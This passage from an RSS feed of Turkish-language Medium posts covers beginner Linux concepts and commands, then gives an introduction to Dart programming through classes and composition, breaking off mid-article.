Bunlar, grafik kullanıcı arayüzleri (GUI’ler), sistem yardımcı programları ve uygulama yazılımlarını içerebilir. Kullanıcılar, bu bileşenleri karıştırıp eşleştirerek özel ihtiyaçlarını karşılayan bir Linux dağıtımı oluşturabilir. Linux dağıtımları, çekirdeği bir yazılım seçimi ile paketleyerek kullanıma hazır tam bir işletim sistemi sunar. Popüler Linux dağıtımlarına Ubuntu, Fedora ve CentOS örnek verilebilir.</p><p>Linux Mimarisi</p><ol><li><strong>Donanım Katmanı (Hardware):</strong> Bu, bilgisayarın işlemcisi (CPU), belleği (RAM), depolama için sabit disk ve klavyeler, fareler ve yazıcılar gibi çevre birimlerinden oluşan <strong>sistemin fiziksel temelidir.</strong></li></ol><p>2. <strong>Çekirdek Katmanı (Kernel):</strong> İşletim sisteminin en temel bileşeni olan çekirdek, bilgisayarın donanımını, CPU, bellek ve çevre birimleri gibi yapıları yönetmekten sorumludur. Çekirdek, yazılım uygulamaları ile bilgisayarın donanımı arasında bir köprü görevi görerek çalışır. Bir yazılım uygulaması, bir dosyayı kaydetmek veya ekranda bir şey göstermek gibi donanımla ilgili bir şey yapmak istediğinde, bir istek çekirdeğe gönderir. Çekirdek, bu isteği donanımın anlayacağı talimatlara çevirir.</p><ol><li><strong>Kabuk Katmanı (Shell):</strong> Shell, bir CLI aracıdır. Kullanıcıların işletim sistemine komut girmelerini sağlayan bir yazılım katmanıdır. Programların çalıştırılması, dosya yönetimi ve diğer hizmetlerin talep edilmesi için çekirdekle iletişim kurmalarını sağlar.</li></ol><p><strong>NOT : CLI (Command-Line Interface — Komut Satırı Arayüzü)</strong></p><ul><li><strong>Tanım</strong>: Kullanıcıların metin tabanlı komutlar girerek bilgisayar ile etkileşimde bulunduğu bir arayüzdür. GUI(Grafiksel Kullanıcı Arayüzü)’ye karşıt olarak, CLI’de işlemler komutlar aracılığıyla yapılır.</li><li><strong>Örnek</strong>: Windows’un “Komut İstemi” veya Linux terminali, CLI örnekleridir. Kullanıcı, komutları yazmak suretiyle dosya yönetimi, sistem bakımı gibi işlemleri yapar.</li></ul><ol><li><strong>Sistem Yardımcı Programı Katmanı (System Utility):</strong> Bu katman, bilgisayarda görevleri gerçekleştirmek için gerekli olan çeşitli araçları ve uygulamaları içerir. Kullanıcının komutlarını (kabukta girilen veya grafik bir arayüz aracılığıyla) çekirdeğin bu komutları işlemesine köprü görevi görürler. Çekirdeğin sağladığı temel işlevleri daha kullanışlı hale getiren, kullanıcıya yardımcı olan yazılımlardır. Linux sistemlerinde, <strong>sistem yardımcı programları</strong> genellikle <strong>binaries</strong> (ikili dosyalar) olarak mevcuttur ve çeşitli işlevleri yerine getiren komutlar ve uygulamalar içerir.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*T_ugYLyhG7hlVdujco70Zw.png" /></figure><h3>2 — Linux Dağıtımları</h3><p>Bir Linux dağıtımı, Linux çekirdeği etrafında inşa edilmiş tam bir işletim sistemidir. Çekirdeği, geniş bir yazılım uygulamaları, kütüphaneler ve isteğe bağlı bir grafik kullanıcı arayüzü (GUI) içerir.</p><p><strong>Çekirdeğin etrafında, </strong>ek işlevsellik sağlayan birçok yazılım aracı ve kütüphane bulunur. Bunlar, <strong>grafik kullanıcı arayüzleri (GUI’ler), sistem yardımcı programları ve uygulama yazılımlarını</strong> içerebilir. Kullanıcılar, bu bileşenleri karıştırıp eşleştirerek özel ihtiyaçlarını karşılayan <strong>bir Linux Dağıtımı </strong>oluşturabilir.</p><p><strong>Neden Farklı Dağıtımlar Var?</strong></p><p>Linux dağıtımlarının çeşitliliği, özgürlük ve esneklik felsefesinden kaynaklanır. <strong>Her kullanıcının farklı ihtiyaçları vardır.</strong> Dağıtımlar, özel yazılım paketleri, kullanıcı arayüzleri ve yönetim araçları sunarak bu çeşitli gereksinimleri karşılar.</p><p><strong>Bir Dağıtımın Temel Bileşenleri</strong></p><p>Her dağıtım benzersiz özellikler ve yazılım sunsa da hepsi birkaç temel bileşeni paylaşır:</p><ul><li>Linux Çekirdeği</li><li>Sistem Kütüphaneleri: Uygulamaların çalışması için temeldir, çekirdekle etkileşim için standart yollar sağlar.</li><li>Yazılım Uygulamaları: Sistem yardımcı programlarından son kullanıcı uygulamalarına kadar değişir.</li><li>Paket Yöneticisi: Yazılım uygulamalarını ve bileşenlerini yüklemek, güncellemek ve yönetmek için bir araç.</li><li>Önyükleyici (Bootloader): Donanımın açılmasından sonra bilgisayarın önyükleme sürecini yöneten yazılım.</li><li>Grafik Kullanıcı Arayüzü (GUI): Örnek olarak <em>GNOME, KDE veya XFCE.</em></li></ul><p><strong>Popüler Linux Dağıtımları</strong></p><p><strong>Ubuntu</strong></p><ul><li>Hedef Kitle: Başlangıç seviyesindeki ve düzenli masaüstü kullanıcıları.</li><li>Özellikler: Kullanıcı dostu, kurulum kolaylığı ve kullanılabilirliğe güçlü bir odaklanma. Geniş dokümantasyon ve topluluk desteği.</li><li>Kullanım Durumları: Masaüstleri, sunucular ve bulut.</li></ul><p><strong>Fedora</strong></p><ul><li>Hedef Kitle: Geliştiriciler ve sistem yöneticileri.</li><li>Özellikler: Keskin teknoloji, Linux topluluğu ile yakın uyum, özgür yazılıma güçlü vurgu.</li><li>Kullanım Durumları: Geliştirme, sunucu ve iş istasyonu.</li></ul><p><strong>CentOS</strong></p><ul><li>Hedef Kitle: Sunucular ve kurumsal kullanıcılar.</li><li>Özellikler: Stabilite ve uzun vadeli destek, RHEL (Red Hat Enterprise Linux) ile ikili uyumluluk.</li><li>Kullanım Durumları: Sunucular, kurumsal ortamlar.</li></ul><p><strong>Debian</strong></p><ul><li>Hedef Kitle: İleri düzey kullanıcılar ve stabiliteye odaklanan ortamlar.</li><li>Özellikler: Geniş paket deposu, katı özgür yazılım kuralları, stabilite.</li><li>Kullanım Durumları: Sunucular, masaüstleri, gömülü sistemler.</li></ul><p><strong>Arch Linux</strong></p><ul><li>Hedef Kitle: Deneyimli kullanıcılar ve meraklılar.</li><li>Özellikler: Rolling release modeli, özelleştirmeye ve minimalizme odaklanan kullanıcı merkezli yaklaşım.</li><li>Kullanım Durumları: Masaüstleri, geliştirme, kişisel sunucular.</li></ul><p><strong>Kali Linux</strong></p><ul><li>Hedef Kitle: Güvenlik profesyonelleri ve etik hackerlar.</li><li>Özellikler: Penetrasyon testi, güvenlik araştırması, bilgisayar adliyesi ve tersine mühendislik için önceden yüklenmiş geniş bir araç koleksiyonu.</li><li>Kullanım Durumları: Güvenlik araştırmaları, penetrasyon testleri ve etik hacking.</li></ul><p><strong>Doğru Dağıtımı Seçmek</strong></p><p>Doğru dağıtımı seçmek, belirli ihtiyaçlarınıza, uzmanlık düzeyinize ve tercihlerinize bağlıdır. Şu faktörleri göz önünde bulundurun:</p><ul><li>Amaç: Masaüstü kullanımı, sunucu, geliştirme vb.</li><li>Kullanım Kolaylığı: Başlangıç dostu mu yoksa Linux uzmanlığı gerektiriyor mu?</li><li>Destek ve Topluluk: Dokümantasyona, forumlara ve topluluk desteğine erişim.</li><li>Donanım Uyumluluğu: Özellikle eski veya özelleşmiş ekipmanlar için donanımınızı destekler.</li><li>Yazılım Kullanılabilirliği: İhtiyacınız olan yazılım paketlerinin kullanılabilirliği.</li></ul><h3>3 — Linux Kabuğu (Shell)</h3><p>Linux kabuğu (shell), kullanıcı ile işletim sisteminin hizmetleri arasında bir köprü görevi gören benzersiz bir programdır. Komutları alır ve <strong>işletim sisteminin çekirdeğinin işleyebileceği bir formata </strong>çevirir. Kullanıcı hesaplarına giriş yaptığında veya bir terminal oturumu başlattığında <em>otomatik olarak</em> etkinleşir.</p><p>Linux’ta iki ana tip kabuk vardır: <strong>Komut Satırı</strong> ve <strong>Grafik Arayüzü</strong>.</p><h4>Komut Satırı</h4><p>Linux’ta Terminal olarak bilinen belirli bir uygulamaya komutlar girebilir. ‘<strong>cat’,</strong> ‘<strong>ls’ </strong>ve diğerleri gibi komutlar bu arayüze yazılır, işlenir ve yürütülür. Bu komutların sonuçları doğrudan terminal penceresi içinde kullanıcıya gösterilir.</p><p>Linux’ta bir terminal şöyle görünür:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*UajQi0lbP7SytraXLS_sRQ.png" /></figure><p>Verilen ekran görüntüsünde, <strong><em>-l</em> </strong>seçeneği ile birlikte<strong><em> ls</em> </strong>komutu yürütülüyor. Bu komut, mevcut dizindeki tüm dosyaları liste formatında gösterir.</p><h4>Grafik Arayüzü</h4><p>Grafik arayüzü, programlara etkileşim kurmanın kullanıcı dostu bir yolunu sunar. Kullanıcıların, komut yazma ihtiyacı olmaksızın, pencereleri açma, kapatma, taşıma ve yeniden boyutlandırma gibi işlemleri gerçekleştirmelerini sağlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bE_oVgaxgaBhq-9imgCXVg.png" /></figure><p>Linux işletim sistemleri, benzersiz özelliklere ve komut sözdizimine sahip çeşitli kabuklar sunar:</p><ul><li><strong>BASH (Bourne Again Shell):</strong> En yaygın kullanılan Linux kabuğu olup, Linux ve macOS’ta varsayılan kabuk olarak hizmet verir.</li><li><strong>CSH (C Shell):</strong> C Shell’in sözdizimi ve kullanımıdır.</li><li><strong>KSH (Korn Shell):</strong> POSIX Kabuk standardı özelliklerinin temelini oluşturan Korn Kabuğu, BASH ve CSH’den unsurlar birleştirir.</li><li><strong>ZSH (Z Shell)</strong>: ZSH, BASH, KSH ve TCSH arasında dahil olmak üzere, diğerlerinden özellikler içerir, güçlü otomatik tamamlama fonksiyonları, özelleştirilebilir istemler ve Oh My Zsh gibi çerçeveler aracılığıyla birçok eklenti ve tema sunar.</li><li><strong>Fish (Friendly Interactive Shell): </strong>Kullanıcı dostu arayüzü ile bilinir.</li></ul><h4>Terminal Nedir?</h4><p>Terminal uygulaması, kullanıcıların kabukla etkileşim kurmasına olanak tanıyan bir kapı görevi görür, komutların girilebildiği ve çıktılarının görülebildiği metin tabanlı bir arayüz sunar.</p><h4>Terminal ve Kabuk (Shell) Birlikte Nasıl Çalışır?</h4><ul><li><strong>Terminal</strong>, bir <strong>grafiksel penceredir</strong> ve genellikle bir kabuğu (shell) çalıştırır. Yani terminal açtığınızda, genellikle bir shell (örneğin <strong>bash</strong>) çalıştırılır ve sizin yazdığınız komutları bu shell işler.</li><li><strong>Kabuk</strong> (shell) ise, terminalin içinde çalışan <strong>komut yorumlayıcısı</strong>dır. Shell, terminalden aldığı komutları işler ve çalıştırılacak talimatları işletim sistemine iletir.</li></ul><h4>Özetle:</h4><ul><li><strong>Terminal</strong>: Kullanıcı ile sistem arasındaki etkileşim alanını sağlayan bir pencere veya programdır. Bir tür <strong>görsel arayüz</strong> sağlar.</li><li><strong>Kabuk (Shell)</strong>: Kullanıcının yazdığı komutları <strong>yorumlayan ve işleten yazılım</strong>dır. <strong>CLI (Command Line Interface)</strong> tabanlıdır</li></ul><p>Terminali açmak için, genellikle grafik arayüzündeki arama kutusuna terminal yazarak bulabilir ve sonuca çift tıklayarak başlatabiliriz.</p><h3>4 — Dizinlerde Gezinti</h3><p>Linux terminalinde gezinmek, dosyalarla ve dizinlerle etkileşimde bulunmak için çeşitli komutları kullanmalısınız.</p><h4><strong>Linux Dosya Sistemi Yapısı</strong></h4><p>Linux dosya sistemi, kök (“root”) dizin olan ‘<strong>/</strong>’ ile başlayan hiyerarşik bir yapıda düzenlenmiştir.</p><p><strong>· /: </strong>Kök dizin, dosya <em>sisteminin temelidir.</em></p><p>· <strong>/bin, /sbin:</strong> Temel kullanıcı ve sistem ikilileri içerir.</p><p>· <strong>/etc:</strong> Sistem <em>yapılandırma dosyaları </em>içerir.</p><p>· <strong>/home:</strong> Kullanıcıların<em> kişisel dizinlerini </em>içerir.</p><p>· <strong>/var:</strong> <em>Loglar </em>ve <em>veritabanları</em> gibi değişken dosyaları içerir.</p><p>· <strong>/usr:</strong> Kullanıcı verileri için ikincil hiyerarşi; çoğunlukla <em>kullanıcı programlarını ve yardımcı araçlarını </em>içerir.</p><h4><strong>Linux’ta Gezintiye Başlayalım</strong></h4><p>İlk olarak, hangi dizinde/konumda olduğunuzu bulmanız çok önemlidir. <strong>pwd (print working directory) komutu</strong>, dosya sistemi üzerinde hangi konumda bulunduğunuzu getirir.</p><pre>user@hifao:~$ pwd<br>/home/user</pre><p>Yukarıdaki örnekte, kullanıcının<em> </em><strong><em>/home/user</em> </strong>konumundaki dizinde bulunduğu görülmektedir. <strong><em>home</em></strong> klasörü altında kullanıcıların kendilerine ait ev dizinleri bulunmaktadır. Her kullanıcının genellikle bir ev dizini olur ve terminal ilk açıldığında<strong> oturum kendi ev dizini içerisinde </strong>başlar</p><p>Diğer komutlara göz atmaya devam edelim.</p><ul><li><strong>ls </strong>: klasörün içindekileri gösterir</li><li><strong>ls -a :</strong> gizli dosyaları veya dizinleri içerik listesine dahil eder, Linux’ta, ismi ‘.’ ile başlayan dizin ve dosyalar <strong>gizli dosya</strong> olarak adlandırılır</li><li><strong>ls -l</strong> : izinler, sahiplik ve değiştirilme zamanı gibi detayları gösterir</li></ul><blockquote><strong>drwxr-xr-x 1 hifao 197609 0 Oct 12 15:25 &#39;Hifanur Öner&#39;/<br>drwxr-xr-x 2 user users 4096 Jul 29 08:24 Desktop</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*56QftM25azWgq9ddLoe1HA.png" /></figure><ul><li><strong>cd /tmp</strong> : tmp dosyasına gider.<br><strong>cd - </strong>: bir önceki klasöre gider.</li></ul><h3>5 — Dosya ve Klasör İşlemleri</h3><p>Bu bölümde, dosya ve klasör oluşturma, kopyalama, taşıma, silme ve arama işlemlerini nasıl gerçekleştireceğinizi öğreneceğiz.</p><p>Linux’ta <strong>dosya oluşturmak için touch komutu </strong>kullanılmaktadır. Bu komut, mevcut dosyaların erişim ve değiştirme zamanlarını güncellemek için de kullanılır, ancak adı verilen dosya yoksa, yeni bir dosya oluşturur.</p><pre>user@hifao:~$ touch note.txt</pre><ul><li><strong>touch note.txt </strong>: <em>note </em>adında<em> txt dosyası</em> oluşturur.</li></ul><p>Diğer dosya komutlarıan göz atarsak;</p><ul><li><strong>mkdir document</strong> : <em>document</em> adında klasör oluşturur.</li><li><strong>cp document document_copy</strong> : Bu komut,<strong><em> </em></strong><em>document </em>adlı dosyanın bir <strong>kopyasını </strong><em>document_copy</em> adı altında oluşturur.</li></ul><p><strong>*</strong>Klasörler kopyalanırken, <strong>-r (recursive) </strong>seçeneğinin kullanılması gerekir, bu da klasörün içindeki tüm alt klasörleri ve dosyaları da kopyalar.<em> <br></em><strong><em>(cp -r kaynak_dosya hedef_dosya)</em></strong></p><pre>user@hifao:~$ cp -r documents documents_copy</pre><p>Dosyaları taşımak ve yeniden adlandırmak için <strong><em>mv</em></strong> komutu kullanırız.</p><ul><li><strong>mv doc_copy.txt doc_moved.txt : </strong>Bu komut,<em> doc_copy.txt</em> dosyasını <em>doc_moved.txt</em> olarak <strong>yeniden adlandırır.</strong></li><li><strong>mv doc_moved.txt documents/ : </strong>Bu komut,<em> readme_moved.txt </em>dosyasını <em>documents </em><strong>klasörüne taşır.</strong></li></ul><p>Dosya silmek için <strong><em>rm (remove)</em></strong> komutu kullanılır.</p><ul><li><strong>rm doc_moved.txt </strong>: <em>doc_moved.txt </em>dosyasını siler.</li></ul><p>Klasör silmek için ise <strong><em>rm -r </em></strong>komutunu kullanırız. Bu komut, klasörün içindeki dosyalar dahil olmak üzere klasörü ve içeriğini siler.</p><pre>user@hifao:~$ rm -r documents</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e20dcf493ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Yeni Başlayanlar için Baştan Sona Dart Programlama]]></title>
            <link>https://medium.com/@hifaoner/yeni-ba%C5%9Flayanlar-i%C3%A7in-dart-programlama-temelleri-7403cb79687d?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/7403cb79687d</guid>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[dart]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[nesne-tabanlı-programlama]]></category>
            <category><![CDATA[oop]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Sat, 20 Apr 2024 17:02:41 GMT</pubDate>
            <atom:updated>2024-04-20T17:17:48.793Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Dart</strong>, ilk kez<em> Google</em> tarafından geliştirilen ve daha sonraları <em>ECMA</em> tarafından standart haline getirilen açık kaynaklı ve genel-amaçlı bir programlama dilidir. <strong>Dart</strong> dili kullanılarak web, sunucu, mobil uygulamalar ve IoT cihazları geliştirilebilir.</p><p>Kullanılabilecek Editör ve Kaynaklar:<br><em>-Dart DevTools<br>-Repl.IT<br>-dartped.dev</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z67DCEW1vsRojijO3f1XYg.jpeg" /></figure><p>Hemen hemen her programlama dili gibi Dart<strong> </strong>dili de bir <strong>‘main’</strong> fonksiyonu içinde çalışır.</p><pre>void main() {<br>  print(&quot;Merhaba Dünya&quot;);<br>}</pre><h4>Değişken Tanımlama (Variables)</h4><ul><li>Değişkenler hafızada geçici olarak saklanan değerleri temsil eder. Diske yazılmadığı sürece kalıcı değildir.</li><li>Dart dilinde değişken için <strong>tür belirtmemize</strong> gerek yoktur.</li></ul><pre>var ogrenciAd = &#39;Hifa&#39;;<br>String ogrenciAd = &#39;Hifa&#39;;<br><br>var ogrenciYas = 21;<br>int ogrenciYas = 21;<br><br>var devamDurumu = true;<br>bool devamDurumu = true;<br><br>print(&#39;Öğrenci ismi : $ogrenciAd&#39;);<br>print(&#39;Öğrencinin yaşı : $ogrenciYas&#39;);<br>print(devamDurumu);</pre><p><strong>String</strong> ifade içine<strong> ‘${}’</strong> ifadesi kullanılarak işlem yapılabilir</p><pre>String urun_ad = &quot;Telefon&quot;;<br>double urun_fiyat = 11499.99;<br>int indirim_tutari = 1500;<br><br>print(&quot;Ürün Fiyatı : $urun_fiyat&quot;);<br>print(&quot;Ürünün indirimli fiyatı ${urun_fiyat - indirim_tutarı} ₺&#39;dir.&quot;);<br></pre><h4>Sabitler : ‘final’ ve ‘const’ (Constant)</h4><p>Sabitler içerisine bir kere veri atıldığında bir daha değiştiremeyeceğiniz yapılardır. Sabit kullanmak hafıza yönetimini rahatlatır. Çünkü hafızada sabit için yer ayrılır ve değişim olmayacağı için açılan yer yeni bir değer almak için beklemez.</p><pre>final pi = 3.14;<br>final String giris = &quot;Hoşgeldiniz&quot;;</pre><p><strong>final,</strong> değişken oluşturulduktan sonra kod çalıştırıldığında hafızada oluşur. Yaygın kullanımdır.</p><pre>const double sonuc = 500;<br>print (sonuc);</pre><p><strong>const,</strong> değişken oluşturduğumuz anda hafızada oluşur. Genelde görsel nesnelerde kullanılır. (Button, Text..)</p><h4>Tür Dönüşümleri</h4><ol><li>Sayısaldan sayısala dönüşüm</li></ol><pre>int i 45;<br>double d 78.65;<br><br>int iSonuc = d.toInt();<br>double dSonuc = i.toDouble();<br></pre><p>2. Sayısaldan metine dönüşüm</p><pre>int i 50;<br>String sonuc = i.toString();</pre><p>3. Metinden sayısala dönüşüm</p><pre>String yazi = &quot;51.25&quot;<br>double sonuc = double.parse(yazi);</pre><p><strong>NOT:<br>- 0&#39;dan 9&#39;a Kadar</strong> <strong>Rastgele Sayı Üretme</strong></p><pre>int sayi = Random().nextInt(10)</pre><h4>Karşılaştırma Operatörleri</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*-RsyohAQtbogdFJKrag2eA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Mantıksal Operatörler</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*NASHDWKFOyydoc7yVt5juA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Ternary Operatör</h4><p>Ternary operatör, Dart dilinde bir koşulu değerlendirmek ve bu koşula göre farklı değerler döndürmek için kullanılan bir yapıdır.</p><pre>koşul ? ifade1 : ifade2</pre><p>Bu yapı, koşul doğruysa ifade1&#39;i döndürür, aksi halde ifade2&#39;yi döndürür.</p><pre>sıcaklık &gt;=25 ? klimaCalis : camiKapa</pre><h4>If — Else Yapısı</h4><p>Dart dilinde if-else yapısı oldukça temel bir yapıdır ve koşula bağlı olarak kod akışını kontrol etmek için kullanılır.</p><pre>int sayi = 10;<br><br>if (sayi &gt; 0) {<br>    print(&quot;Sayı pozitiftir.&quot;);<br>  } <br>else if (sayi &lt; 0) {<br>    print(&quot;Sayı negatiftir.&quot;);<br>  }<br>else {<br>    print(&quot;Sayı sıfırdır.&quot;);<br>  }</pre><p>Ayrıca, tek satırda da if-else ifadeleri kullanabilirsiniz.</p><pre>int sayi = 10;<br><br>String durum = (sayi &gt; 0) ? &quot;Pozitif&quot; : &quot;Negatif veya sıfır&quot;;<br>  print(&quot;Sayı $durum.&quot;);</pre><h4>Switch— Case Yapısı</h4><p>Dart dilinde, switch-case yapısı, birden fazla koşulun olduğu durumlarda kod akışını kontrol etmek için kullanılır.</p><pre>void main() {<br>  String meyve = &#39;elma&#39;;<br><br>  switch (meyve) {<br>    case &#39;elma&#39;:<br>      print(&#39;Elma seçildi.&#39;);<br>      break;<br>    case &#39;armut&#39;:<br>      print(&#39;Armut seçildi.&#39;);<br>      break;<br>    case &#39;muz&#39;:<br>      print(&#39;Muz seçildi.&#39;);<br>      break;<br>    default:<br>      print(&#39;Belirtilen meyve bulunamadı.&#39;);<br>  }<br>}</pre><h3>DÖNGÜLER</h3><h4>1) While Döngüsü</h4><p>Dart dilinde while döngüsü, belirli bir koşul sağlandığı sürece tekrarlanan bir döngü yapısıdır.</p><pre>void main() {<br>  int sayac = 0;<br><br>  while (sayac &lt; 5) {<br>    print(&#39;Sayac değeri: $sayac&#39;);<br>    sayac++;<br>  }<br>}</pre><p>sayac değişkeninin değeri 5&#39;ten küçük olduğu sürece döngüyü tekrarlayacaktır. Her tekrarda, sayac değeri ekrana yazdırılacak ve sonra bir arttırılacaktır. Döngü 0&#39;dan başlayacak ve 4&#39;e kadar devam edecektir.</p><h4>2) For Döngüsü</h4><p>Dart dilinde for döngüsü, bir döngü değişkenini belirli bir aralıkta veya bir liste üzerinde dolaşmak için kullanılır.</p><pre>void main() {<br>  for (int i = 0; i &lt; 5; i++) {<br>    print(&#39;Döngü değişkeni: $i&#39;);<br>  }<br>}</pre><p>Bu kod, i adında bir döngü değişkeni kullanarak 0&#39;dan başlayıp 4&#39;e kadar olan sayıları ekrana yazdıracaktır. i her döngü adımında bir arttırılacak ve döngü 4&#39;e ulaşana kadar devam edecektir.</p><h3>OOP (Nesne Tabanlı Programlama)</h3><p>Dart dilinde nesne tabanlı programlama (Object-Oriented Programming — OOP), sınıflar, nesneler, miras alma, kapsülleme gibi temel OOP kavramlarını içerir.</p><ol><li><strong>Sınıflar (Classes):</strong> Sınıflar, nesnelerin yapısını ve davranışlarını tanımlamak için kullanılır. Sınıflar, veri üyeleri (alanlar) ve işlev üyeleri (metodlar) içerebilir.</li><li><strong>Nesneler (Objects):</strong> Bir sınıftan türetilen örneklerdir. Her bir nesne, sınıfın belirttiği veri üyeleri ve işlev üyelerine sahiptir. Nesnelerin somut değişkenler belirleyen durumları (state) ve program içindeki işi belirleyen metodları vardır.</li></ol><p>Bir iş için üreteceğimiz taslak bir sınıftır. Taslaktan üretilenler ise nesnelerdir. Örneğin bir araba sınıfı oluşturalım. Her arabada olan hız sınırı, renk, marka gibi tanımlamalar, onların özellikleri yani durumlarıdır.</p><pre>class Araba{<br>  String marka;<br>  String renk;<br>  int hiz;<br>  bool calismaDurumu;<br><br>// Constructor<br>Araba ({required this.marka, required this.renk, required this.hiz, required this.calismaDurumu});</pre><p>Constructorlar, nesnelerin oluşturulması sırasında başlangıç durumlarını ayarlamak için kullanılır. Bir sınıftan bir nesne oluşturulduğunda, constructor çağrılır ve nesnenin gereken başlangıç değerleriyle oluşturulması sağlanır. Dart dilinde bir sınıf birden fazla constructor’a sahip olabilir.</p><p><strong>NOT: <em>required</em> kullanımını diğer dillerden farklı olarak ilk kez Dart dilinde görmüş olabilirsiniz. <em>required</em> , belirli bir parametrenin, çağrıldığı zaman herhangi bir varsayılan değeri olmaksızın geçilmesi gerektiğini belirtir ve main dosyamızda da açıklayıcı bir görünüm sağlar.</strong></p><p>Şimdi bu sınıfımızdan bir ürün yani nesne üretelim.</p><pre>var araba1 = Araba(marka: &quot;Toyota&quot;, renk: &quot;Siyah&quot;, hiz: 250, calismaDurumu: true);<br><br>print(&quot;Arabanın rengi: ${araba1.renk}&quot;); // Siyah<br></pre><p>Eğer istersek nesnenin özelliklerini değiştirebiliriz;</p><pre>araba1.renk = &quot;Kırmızı&quot;;<br><br>print(&quot;Arabanın rengi: ${araba1.renk}&quot;); // Kırmızı</pre><p>Bir <strong>“fonksiyon”</strong>, belirli bir görevi yerine getirmek için bir araya getirilmiş kod bloğudur. Genellikle adı belirli bir işlevi veya eylemi tanımlar. Dart dilinde fonksiyonlar, bir fonksiyon adı ve parantezler içinde parametre listesi ile tanımlanır.</p><p>Şimdi sınıfımıza iki tane fonksiyon ekleyelim;</p><pre>class Araba{<br>  String marka;<br>  String renk;<br>  int hiz;<br>  bool calismaDurumu;<br><br>// Constructor<br>Araba ({required this.marka, required this.renk, required this.hiz, required this.calismaDurumu});<br><br>void durdur(){ // side effect<br>calismaDurumu = false;<br>hiz = 0; }<br><br>void hizlan(int miktar){ // parametreli fonksiyon<br>hiz = hiz + miktar;<br>}<br></pre><blockquote>Eğer bir fonksiyon, bir sınıfın değişkenlerinin değerini değiştiriyorsa buna side effect (yan etki) denir.</blockquote><p>Şimdi ilk fonksiyonumuzu<em> main</em> dosyamızda uygulayalım.</p><pre>araba1.durdur();</pre><p>Burada yazdığımız <em>durdur() </em>fonksiyonu objemize doğrudan etki ederek <strong><em>hiz</em></strong> değişkenini <strong>0</strong>&#39;a eşitler ve<strong> <em>calismaDurumu</em>’</strong>nu da<strong> false</strong> yapar.</p><pre>araba1.hizlan(100);</pre><p>Burada gördüğünüz üzere <em>hizlan</em> fonksiyonumuz parametreli bir fonksiyondur. Yani fonksiyonumuzu nesneye uyguladığımızda, yanında belirtmemiz gereken bir değer olduğunu görürüz.</p><p>Biz parametremizi <strong>int</strong> tipinde <strong>miktar</strong> isimli bir değişken olarak atadık ve bunu anlık olan hızımızın üstüne ekleyerek arabımızın hızını artırmayı hedefledik. Bu örnekte de hızımızın miktarını <strong>100 </strong>arttırarak <em>toyota</em> markalı aracımızın <em>hiz</em> değişkenini <strong>350</strong>&#39;ye eşitledik.</p><h4>Composition</h4><p><strong>Composition,</strong> iki veya daha fazla yapıyı (nesneyi veya bileşeni) bir araya getirerek daha karmaşık ve işlevsel bir yapı oluşturmayı ifade eder. Bu, parçaların birbirine bağımlılığı oluşturulurken aynı zamanda her bir parçanın kendi işlevselliğini korumasını sağlar.</p><p>Dart dilinde bileşim genellikle sınıflar arasında ilişki kurarken kullanılır. Bir sınıfın başka bir sınıfın bir örneğini içermesi durumunda, bu bileşim olarak adlandırılır. Örneğin, bir <strong>“Araba”</strong> sınıfı içinde bir<strong> “Motor”</strong> sınıfı olabilir.</p><pre>class Motor {<br>  void calistir() {<br>    print(&quot;Motor çalıştırıldı&quot;);<br>  }<br>}<br><br>class Araba {<br>  late Motor motor;<br><br>  Araba() {<br>    motor = Motor();<br>  }<br><br>  void calistir() {<br>    motor.calistir();<br>    print(&quot;Araba çalıştırıldı&quot;);<br>  }<br>}<br><br>void main() {<br>  var araba = Araba();<br>  araba.calistir();<br>}</pre><p>Bu örnekte, <strong>“Motor” </strong>ve<strong> “Araba”</strong> sınıfları var.<strong> “Araba”</strong> sınıfı, <strong>“Motor”</strong> sınıfının bir örneğini içerir. Bu, <strong>“Araba”</strong> ve<strong> “Motor”</strong> arasında bir bileşim ilişkisi oluşturur. <strong>“Araba”</strong> sınıfı, <strong>“Motor”</strong> sınıfının işlevlerine ve özelliklerine erişebilir ve onları kullanabilir. Bu şekilde, bileşim kullanarak daha karmaşık ve modüler yapılar oluşturabilirsiniz.</p><ul><li>Sınıf içinden başka bir sınıfa erişmek istersek bunu kullanırız.</li><li><strong>String</strong> tekrarlatmak iyi değildir bu yüzden<strong> ID</strong> kullanılmalıdır.</li><li>İçerdeki sınıf her zaman önceden tanımlanmalıdır.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/0*vYTsVjz73yntDGDI.png" /></figure><p>Composition’ın mantığını veri tabanı ile daha rahat anlayabiliriz. <em>“composition”</em> kavramı veri tabanında ki <em>“foreign key” </em>kavramının simüle edilmiş halidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*zjwq-GamhpwGI_zJVQXGLw.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><p>Burada <strong>Kategoriler</strong> ve<strong> Yönetmenler</strong> tablosunu filmler tablosuna bağlamamız gerekir. Kurduğumuz bu ilişki <em>composition’</em>dır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Qxr-79GXHD6gTkXIDUV24g.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Inheritance <strong>(</strong>Miras Alma)</h4><p>Bir sınıfın diğer bir sınıftan özelliklerini ve davranışlarını devralmasını sağlar. Dart dilinde tekli miras desteklenir.</p><figure><img alt="" 